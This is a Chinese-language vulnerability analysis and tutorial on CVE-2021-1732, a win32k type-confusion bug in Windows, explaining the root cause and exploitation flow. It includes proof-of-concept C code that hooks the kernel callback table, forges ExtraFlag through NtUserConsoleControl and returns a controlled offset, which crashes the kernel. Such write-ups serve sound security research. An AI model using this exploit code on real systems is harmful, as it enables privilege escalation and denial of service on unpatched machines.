CVE-2021-1732 win32k漏洞分析
字数 1862 2025-08-29 08:31:47
CVE-2021-1732 Win32k漏洞分析与利用教学文档
漏洞概述
CVE-2021-1732是Windows内核模块win32kfull.sys中的一个Type Confusion漏洞,存在于win32kfull!xxxClientAllocWindowClassExtraBytes函数中。攻击者可以利用此漏洞进行越界读写,最终实现本地提权。
受影响版本
- Windows 10 Version 1803/1809/1909/2004/20h2
- Windows Server, version 1909/20H2 (Server Core installation)
- Windows 10 Version for 32-bit Systems
- Windows Server 2019
漏洞分析
漏洞背景
Windows窗口创建过程中,当注册自定义窗口类时,需要填充tagWNDCLASSA结构体:
typedef struct tagWNDCLASSA {
UINT style;
WNDPROC lpfnWndProc;
int cbClsExtra;
int cbWndExtra;
HINSTANCE hInstance;
HICON hIcon;
HCURSOR hCursor;
HBRUSH hbrBackground;
LPCSTR lpszMenuName;
LPCSTR lpszClassName;
} WNDCLASSA, *PWNDCLASSA, *NPWNDCLASSA, *LPWNDCLASSA;
当cbWndExtra成员不为0时,会调用win32kfull!xxxClientAllocWindowClassExtraBytes函数分配额外内存。
漏洞根源
漏洞存在于win32kfull!xxxCreateWindowEx函数中,具体是与tagWND结构体的两个关键成员相关:
pExtraBytes(offset: 0x128) - 存储额外字节的指针或偏移ExtraFlag(offset: 0xe8) - 控制pExtraBytes的解释方式
正常情况下:
- 当
ExtraFlag & 0x800 == 0时,pExtraBytes表示内存指针 - 当
ExtraFlag & 0x800 != 0时,pExtraBytes表示内存偏移
漏洞产生的原因是:在执行完win32kfull!xxxClientAllocWindowClassExtraBytes函数后,没有对tagWND的ExtraFlag进行校验。攻击者可以在回调函数中修改ExtraFlag并控制pExtraBytes的值,导致类型混淆和越界读写。
关键函数分析
win32kfull!xxxClientAllocWindowClassExtraBytes
volatile void* __fastcall xxxClientAllocWindowClassExtraBytes(SIZE_T Length) {
// 调用KeUserModeCallback返回到用户态执行回调
v2 = KeUserModeCallback(0x7Bi64, &v12, 4i64, &v7, &v11);
// 回调返回后处理结果
v4 = v8;
ProbeForRead(v4, v1, CurrentProcessWow64Process != 0 ? 1 : 4);
return v4;
}
用户态回调函数 user32!_xxxClientAllocWindowClassExtraBytes
NTSTATUS __fastcall _xxxClientAllocWindowClassExtraBytes(unsigned int* a1) {
Result = RtlAllocateHeap(pUserHeap, 8u, *a1);
return NtCallbackReturn(&Result, 0x18u, 0);
}
漏洞利用流程
- 创建窗口时设置
cbWndExtra不为0,触发xxxClientAllocWindowClassExtraBytes调用 - 在用户态回调函数中:
- 修改
tagWND的ExtraFlag使其|= 0x800 - 通过
NtCallbackReturn返回一个可控的偏移值
- 修改
- 内核继续执行,将返回的偏移值赋给
pExtraBytes - 后续操作中,内核会将偏移值当作指针使用,导致越界读写
漏洞利用实现
关键问题解决
-
获取窗口句柄:
- 创建多个窗口并销毁部分窗口
- 创建触发漏洞的窗口,它会重用已释放窗口的内存
- 通过
HMValidateHandle泄露窗口地址,比较pExtraBytes值找到目标窗口
-
修改ExtraFlag:
- 使用
NtUserConsoleControlAPI调用win32kfull!xxxConsoleControl函数 - 该函数可以设置
tagWND的ExtraFlag
- 使用
POC关键代码
获取关键函数地址
VOID InitFunction() {
HMODULE hNtdll = LoadLibraryA("ntdll.dll"), hWin = LoadLibraryA("win32u.dll"), hUser = LoadLibraryA("user32.dll");
global::NtCallbackReturn = (pNtCallbackReturn)GetProcAddress(hNtdll, "NtCallbackReturn");
global::NtUserConsoleControl = (pNtUserConsoleControl)GetProcAddress(hWin, "NtUserConsoleControl");
// 搜索HMValidateHandle函数地址
PBYTE isMenu = (PBYTE)GetProcAddress(hUser, "IsMenu");
while (*isMenu++ != 0xe8);
global::HMValidateHandle = (pHMValidateHandle)(isMenu + 4 + (*(PLONG32)isMenu));
}
挂钩回调函数
VOID HookCallBack() {
ULONG64 KernelCallbackTable = *(PULONG64)(__readgsqword(0x60) + 0x58);
ULONG64 target = KernelCallbackTable + (0x7B * 8);
VirtualProtect((LPVOID)target, 0x100, PAGE_EXECUTE_READWRITE, &oldProtect);
global::orginCallBack = (pCallBack)(*(PULONG64)target);
*(PULONG64)target = (ULONG64)FakeCallBack;
}
自定义回调函数
VOID FakeCallBack(PULONG32 para) {
if (*para == global::magicNum && global::flag) {
// 查找目标窗口
for (ULONG32 idx = 2; idx < 20; ++idx) {
if (*(PULONG64)(global::pWnds[idx] + 0xc8) == global::magicNum) {
target = (HWND)*(PULONG64)global::pWnds[idx];
break;
}
}
// 设置ExtraFlag
ULONG64 buffer1[2] = { (ULONG64)target, 0 };
global::NtUserConsoleControl(6, buffer1, 0x10);
// 返回可控偏移
ULONG64 buffer2[3] = { 0x1234, 0, 0 };
global::NtCallbackReturn(buffer2, 0x18, 0);
}
return global::orginCallBack(para);
}
窗口创建与销毁
int main() {
// 注册窗口类
WNDCLASSA wc{ 0 };
wc.lpfnWndProc = WindowProc;
wc.hInstance = hInstance;
wc.lpszClassName = "Normal";
wc.cbWndExtra = 0x10;
ATOM normalClass = RegisterClassA(&wc);
wc.lpszClassName = "Magic";
wc.cbWndExtra = global::magicNum;
ATOM magicClass = RegisterClassA(&wc);
// 创建多个窗口
for (ULONG32 idx = 0; idx < 20; ++idx) {
global::hWnds[idx] = CreateWindowExA(0x8000000, "Normal", "NormalWnd", 0x8000000, 0, 0, 0, 0, 0, 0, hInstance, NULL);
global::pWnds[idx] = global::HMValidateHandle((HMENU)global::hWnds[idx], 1);
}
// 销毁部分窗口
for (ULONG32 idx = 2; idx < 20; ++idx) {
DestroyWindow(global::hWnds[idx]);
}
// 创建触发漏洞的窗口
global::flag = TRUE;
HWND hMagic = CreateWindowExA(0x8000000, "Magic", "MagicWnd", 0x8000000, 0, 0, 0, 0, 0, 0, hInstance, NULL);
DestroyWindow(hMagic); // 触发漏洞
return 0;
}
调试分析
-
在回调函数中设置断点,查看用户态
tagWND结构:- 首地址存储窗口句柄
- 偏移0xc8处为特殊数值0xabcd
-
跟踪
xxxConsoleControl函数:- 函数执行前,
ExtraFlag未设置 - 函数执行后,
ExtraFlag |= 0x800
- 函数执行前,
-
在
xxxCreateWindowEx中调用xxxClientAllocWindowClassExtraBytes后下断点:- 可以看到返回的偏移值0x1234被赋给
pExtraBytes
- 可以看到返回的偏移值0x1234被赋给
-
最终执行
DestroyWindow时会触发蓝屏,因为内核将偏移值当作指针使用。
总结
CVE-2021-1732漏洞的核心在于:
- 内核未校验回调函数返回后
ExtraFlag的状态 - 攻击者可以控制
pExtraBytes被解释为偏移而非指针 - 通过精心构造的偏移值实现越界读写
完整POC代码可参考:GitHub链接